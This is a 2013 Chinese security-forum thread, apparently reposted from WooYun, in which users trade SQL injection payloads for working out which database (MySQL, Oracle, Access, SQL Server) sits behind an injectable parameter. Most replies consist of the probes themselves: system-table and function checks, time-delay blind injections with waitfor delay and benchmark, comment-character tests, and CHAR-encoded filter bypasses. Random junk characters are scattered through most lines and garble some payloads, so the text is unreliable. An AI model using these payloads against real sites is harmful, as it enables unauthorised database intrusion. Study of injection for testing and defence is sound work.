找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2120|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库3 |) G+ M$ P: E! Q1 i) X6 z1 l
xsser (十根阳具有长短!!) | 2013-02-05 12:36
/ e5 V) }* X& G4 F3 Z0 p% C# k假设这么一个注射点:
" F/ M3 v. m# h9 |; W( r' W3 Eshow.html?id=2, F& H2 {' }  @' R. i
mysql:id=2 and version()>0( X. ?, o! n+ \; n9 Y4 N$ F
oracle:id=2 and '1'||'1'='112 n- [' c6 B) I# I+ \/ c9 w* P, x
其他的欢迎补充2 u6 n7 ]9 s% k
1#
7 J5 k% \, q- m' f/ m; q9 yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47$ V* Z# Z! D( n2 H4 V5 \& d  Y. z
Access:3 [" c! q9 w' s2 D# f
aNd aSc(cHr(97))=97) c3 U% l/ ]+ N: P+ n, F1 A
and exists(select id from MSysAccessObjects)
0 O# {" O. i6 j7 SSQL Server:
) d* d( _; [! X0 cand exists(select id from sysobjects)
1 l" I; ^" ]2 O; D. fand length(user)>0) ^4 Y$ L5 e: c+ a
MySQL:
% p) [: U4 W! `0 r7 K( a+ |9 E% Tand length(user())>0& }4 d3 t  r( O2 u: ?# l% @
2#& ^7 |+ N2 W  @: l4 L, ?( M
xsser (十根阳具有长短!!) | 2013-02-05 12:48
) a7 P1 \1 Z: D) z' Q' U* [5 R@upload 如果这些都不是呢…. F9 I9 {. g# B# J% a
3#
" X" w( Z6 K7 Yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:034 I+ m6 b$ E* B, n
@xsser 不快速的,延时注入- l' z" R% |0 k" d4 _) u
不知道这样写对不对
+ y$ F- h6 \1 I) S4 Umssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'4 M7 p* y% J6 Q8 ~- m
mysql:id=2 and select benchmark(1e8,current_date());
2 ]2 b! ?/ G- n7 Q$ m$ @/ o4#) N- d5 D5 L6 L' m6 F+ q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:109 H. \$ [# \0 O4 F: X- H
最快的貌似是看报错信息
% B. @1 f- g. Z' coracle error
- t5 W+ [# j* C/ i* b4 }1 rmssql error
  V9 Y# j* s2 b! O( Ymysql error
2 r- B5 F3 t1 v, N3 [5#& N1 p, W/ Q' o) g3 ]
Nimda (你们都是坏银~) | 2013-02-05 13:14
+ v/ U, \7 f; g' f' M( D6 \小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
8 E& e  ^3 i! p6#( S: ?% _) Q' V9 O; y2 u' V
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21: L0 ~3 @# N1 p9 c0 ^6 C" o
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:' ?" G7 H9 C- Y6 ?8 J5 y( i
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:  N2 U; E7 z4 _- A
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
; f( q7 o  @0 F9 ~& p* C7#
9 w' x5 G6 L2 @  C_Evil (HackEnd) | 2013-02-05 13:33& b) V$ q7 [" [- \$ E" Y$ j. `
PostgreSQL
; n  a- @7 O3 W5 i' q3 I& J9 |8#
/ U9 C+ M' [3 R  gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42" _& ^5 z1 a4 ?8 S/ _
切换编码 and 1=11 R) }! q; I5 s( ~* s+ x
oracle:
6 t+ J- P5 P% g/ }" aCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)% V! `; ^& `5 ?& Z
mssql:) I! G- Q5 F8 n1 W) K% V9 s
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)0 c- M- F6 U7 t( E8 {& k- ?2 H% j
mysql:
- I$ p0 z3 R* \3 N4 m# gCHAR(97, 110, 100, 32, 49, 61, 49)
: q7 X: V4 V0 @0 v9#
+ M0 @+ v) x0 T- x2 jxsser (十根阳具有长短!!) | 2013-02-05 14:313 @: o0 [0 i7 G6 U
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
" y9 `" E. r, [0 c& Q6 k; @10#
3 m7 X% A8 z  f; Z/ Q! U6 f0 I! z' cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
. k- N  L1 }; O  P$ [( @. t@xsser 是奇葩数据库类型的么?
7 J; I! t1 [- K0 ~* i根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
) m2 n: ^# ]5 _3 l1.是否可以使用特定的函数来判断,该数据库特有的
4 d; v% _( o6 C2 H2 J2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等9 h/ @* ?: B' D" Y
3.是否可以编码查询0 t' V1 A6 @9 n8 {
4.是否显可以利用错信息
% B# r, j  _& ]( B" c5.是否存在数据库某些特性辅助判断- \0 v) C6 d$ X; C/ t. s/ d3 F& q" o
个人见解# c& ]+ I7 ~! D! a5 g1 V" [
11#
7 y1 }  n8 W3 O  t小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
' v9 n# G8 |' l3 _# O; F已收藏,mssql可以直接看到错误提示的吧~4 v* p7 s) J; n& w4 R% ]
12#
$ {1 \  X, `0 YPasser_by | 2013-02-05 15:09
' [' o5 E: a+ {, {& z5 e曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。0 {3 u; P* ]" u+ |; ~( D: u
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表